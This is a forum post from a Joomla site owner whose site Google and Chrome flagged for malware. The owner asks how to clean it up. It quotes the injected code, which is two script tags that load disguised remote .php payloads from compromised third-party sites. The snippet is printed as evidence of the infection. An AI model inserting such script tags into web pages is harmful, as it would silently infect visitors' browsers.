Malware

[RemyJ]

Hello,

A year ago i have bought a template @ template monster.com this template is installed correctly and has run a year without having any problems. Now since 2 days ago i can't reach my website in case of Malware detection. I have submitted the website too the webmaster tools in google and saw that they had found a suspiciouse piece of code which infects my website.

(Suspiciouse Code)

Code: Select all

<script type="text/javascript" src="http://sodiummetal .com/wp-content/plugins/wp_modx/jquery-1.6.5.min.php"></script><script type="text/javascript" src="http://www.thaiathome .fr/wp-content/plugins/wp_api/jquery-1.6.4.min.php"></script></head>

Almost on every php file i have deleted this code to make sure the malware is gone. Only its only getting worse. I have several website running on Joomla. This template is still running on Joomla 1.5.26 i know everyone is going to say that updating the joomla platform is neccesary only i dont have a clue on how to convert this template too 2.5 as we have bought it a year ago.

But not only this template is showing this code inside php files etc, also other sites on the same server with joomla versions of 2.5 are showing these code inside the files.

Chrome blocked my site for viewers because users could be infected also. Is there somebody that can tell me what i can do to make my site work again and howto remove all the code. I have looked in every file to search this code but maybe im still missing things i oversee.

Hopefully anyone could give me a hint in the right direction to clean up my website so that i can send a research request to remove the mallware label.

Kind regards ;

Remy
